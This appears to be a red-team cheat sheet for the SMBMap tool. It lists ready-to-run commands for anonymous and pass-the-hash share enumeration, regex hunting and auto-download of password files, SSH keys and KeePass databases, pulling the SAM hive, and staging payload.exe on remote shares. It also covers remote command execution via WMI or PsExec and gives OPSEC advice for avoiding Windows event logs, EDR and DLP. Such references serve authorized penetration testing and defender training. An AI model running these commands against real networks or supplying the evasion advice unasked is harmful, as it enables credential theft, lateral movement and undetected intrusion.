SMBMap

SMBMap enumerates SMB shares and permissions (READ/WRITE/NO ACCESS), lists and downloads files, and can execute commands across single hosts or a network range. Requires Python 3 (pip3 install smbmap or the Kali package). Version referenced: v1.10.7.

Share Enumeration (authenticated & null session)

Enumerate shares, permissions, and host metadata. Needs port 445 reachable.

# Null session (anonymous)
smbmap -H 192.168.1.10

# Authenticated with password
smbmap -u jsmith -p 'Password1!' -d CORP -H 192.168.1.10

# Pass-the-Hash (NTLM)
smbmap -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' -H 192.168.1.10

# Host-file sweep (IPs, FQDNs, or CIDR accepted)
smbmap --host-file targets.txt -u jsmith -p 'Password1!' -d CORP

# Check admin access only
smbmap -u jsmith -p 'Password1!' -H 192.168.1.10 --admin

# Check SMB signing status
smbmap -u jsmith -p 'Password1!' -H 192.168.1.10 --signing

# Return OS version
smbmap -u jsmith -p 'Password1!' -H 192.168.1.10 -v

Auth & enumeration flags:

# PtH against an entire /24
smbmap --host-file hosts.txt -u admin -p 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' -d CORP

# Suppress write check for stealth (fewer WRITE probes)
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --no-write-check -q

# Output to CSV for reporting
smbmap -u jsmith -p 'Password1!' --host-file targets.txt --csv results.csv

Output interpretation:

• ADMIN!!! next to host → current user has admin privileges.
• READ, WRITE → full access; high value for lateral movement or payload staging.
• NO ACCESS → share visible but inaccessible.
• READ ONLY → can list/download, cannot write.

OPSEC: every connection creates Windows Event ID 4624 (logon) and 4648 (explicit creds); 4776 for NTLM auth. The write check attempts a dummy directory create (visible in the Security log). Default WMI execution mode (-x) spawns WMI activity → 4688/Sysmon 1. Host-file sweeps produce rapid multi-host auth attempts that will trip lockout policies and brute-force detections if creds are wrong.

Directory & File Listing

Recursively enumerate share contents. Needs READ access; deeper traversal of admin shares (C$, ADMIN$) may require elevated creds.

# List root of ALL shares
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r

# Recurse into a specific path
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r 'Finance/Payroll'

# Set depth of traversal (default: 1)
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r --depth 5

# List directories only (no files)
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r --dir-only

# List all local drives (requires admin)
smbmap -u administrator -p 'Password1!' -H 10.10.10.10 -L

# Exclude noisy default shares
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r --exclude ADMIN$ IPC$ print$

# Full recursive enum of a share, output to grep file
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r 'Users' --depth 4 -g users_out.txt

# Quiet CSV output across subnet
smbmap -u jsmith -p 'Password1!' --host-file targets.txt -r --csv shares.csv -q

Look for .config, .xml, .kdbx, .ps1, .bat, id_rsa, web.config, *.bak. Deep recursion (--depth > 3) generates high SMB read volume (detectable by DLP/EDR); scope to a single share to reduce noise. STATUS_ACCESS_DENIED → creds lack access; try admin creds.

File Pattern Matching & Auto-Download

Search share filenames by regex and auto-download matches. Requires -r; patterns are case-insensitive.

# Auto-download all config/web files
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r -A '(web|global)\.(asax|config)'

# Find and grab any file with "password"/"cred" in the name
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r -A '(password|cred|secret|pass)' --depth 5

# Match backup or KeePass files
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r -A '\.(kdbx|bak|old|zip|7z)$' --depth 6 -q

# Hunt for SSH keys and certs
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r 'Users' -A '(id_rsa|\.pem|\.pfx|\.p12|\.ppk)' --depth 6 -q

# Grab PowerShell and batch scripts
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 -r 'NETLOGON' -A '\.(ps1|bat|cmd|vbs)$' --depth 4

Matched files download to the current directory as [hostname]_[share]_[filename]. No downloads despite hits → check write perms on your CWD. Test regex separately: python3 -c "import re; re.compile('PATTERN')".

File Content Search (-F)

Search the content of remote files via regex, executed through PowerShell on the victim. Requires admin creds, PowerShell on target, and running smbmap as root (experimental feature).

# Search for password strings in C:\Users (default path)
sudo smbmap -u administrator -p 'P@ssw0rd' -H 10.10.10.10 -F '[Pp]assword'

# Search a specific drive/path
sudo smbmap -u administrator -p 'P@ssw0rd' -H 10.10.10.10 -F '[Pp]assword' --search-path 'D:\HR\'

# Extend timeout for large drives (default 300s)
sudo smbmap -u administrator -p 'P@ssw0rd' -H 10.10.10.10 -F 'api.key|secret' --search-timeout 600

Warning — -F is the noisiest smbmap feature. It drops and deletes a temp .txt under C:\Temp\ (Sysmon EID 11/23), triggers PowerShell script-block logging (4104) and process creation (4688), and touches admin shares (5140/5145). Avoid in engagements with mature EDR/SIEM.

File Upload / Download / Delete

Transfer files to/from shares or delete remote files. Needs WRITE for upload/delete, READ for download.

# Download a file
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --download 'C$\Users\jsmith\Desktop\passwords.txt'

# Upload a file
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --upload '/tmp/payload.exe' 'C$\Temp\payload.exe'

# Delete a file (prompts confirmation)
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --delete 'C$\Temp\payload.exe'

# Delete without confirmation prompt
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --delete 'C$\Temp\payload.exe' --skip

# Grab SAM hive backup
smbmap -u administrator -p 'P@ssw0rd' -H 10.10.10.10 --download 'C$\Windows\Repair\SAM'

# Stage a tool to a writable share, then clean up
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --upload '/opt/tools/tool.exe' 'Data\tool.exe'
smbmap -u jsmith -p 'Password1!' -H 10.10.10.10 --delete 'Data\tool.exe' --skip

OPSEC: writes to admin shares (C$) generate 5145 and 4663; uploading executables to C$\Temp\ is a high-confidence IOC (AV/EDR scans on write). Prefer writable non-admin shares. STATUS_ACCESS_DENIED on upload → share is READ only or path doesn’t exist (create the directory first).

Remote Command Execution

Execute commands via WMI (default) or PsExec over SMB. Requires admin creds; WMI needs port 445 + DCOM ports open.

# Execute command via WMI (default)
smbmap -u administrator -p 'P@ssw0rd' -d CORP -H 10.10.10.10 -x 'whoami'

# Execute via PsExec
smbmap -u administrator -p 'P@ssw0rd' -d CORP -H 10.10.10.10 -x 'whoami' --mode psexec

# Domain group enumeration
smbmap -u administrator -p 'P@ssw0rd' -d CORP -H 10.10.10.10 -x 'net group "Domain Admins" /domain'

# PtH command exec
smbmap -u administrator -p 'aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c' -H 10.10.10.10 -x 'ipconfig /all'

Output is returned inline (no interactive shell); empty output often means the command ran with no stdout. WMI → 4688/Sysmon 1 + WMI-Activity/Operational log. PsExec → creates a service (7045, very high-fidelity). Prefer WMI for a lower footprint. No output returned → WMI may be firewalled (TCP 135 + dynamic RPC); try --mode psexec.

Kerberos Authentication

Authenticate to shares with Kerberos tickets (Pass-the-Ticket / ccache). Needs a valid .ccache, KRB5CCNAME set, and the DC reachable by FQDN (marked “super beta” by the developer).

# Set ccache path and use Kerberos auth (no password)
export KRB5CCNAME='/tmp/jsmith.ccache'
smbmap -k --no-pass -H dc01.corp.local -d CORP --dc-ip 10.10.10.1

# Kerberos with username (overpass-the-hash scenarios)
export KRB5CCNAME='/tmp/jsmith.ccache'
smbmap -k -u jsmith -H fileserver.corp.local -d CORP --dc-ip 10.10.10.1

Kerberos avoids sending NTLM hashes over the wire (no NTLM-relay signal) but still generates 4624 (logon type 3) and 4769 (service ticket) on the DC.

Note — Common errors. Kerberos SessionError → clock skew > 5 min, sync with ntpdate/faketime. Must use the FQDN (-H dc01.corp.local), not the IP — SPN resolution fails on a raw IP. If KRB5CCNAME is unset the tool may silently fall back to NTLM; always verify the env var.

Version / Platform Notes

• Requires Python 3; legacy Python 2 support dropped.
• --signing was added in recent versions; not present in older Kali packages.
• -A (filename pattern auto-download) requires -r; use lowercase -r (mixing with the old -R flag can error on newer installs).
• On Kali, the system package may lag behind PyPI; prefer pip3 install --upgrade smbmap for the latest.
• --host-file accepts IPs, FQDNs, and CIDR notation.

Sources

• https://github.com/ShawnDEvans/smbmap
• https://manpages.debian.org/bookworm/smbmap/smbmap.1.en.html
• https://www.nopsec.com/blog/smbmap-wield-it-like-the-creator/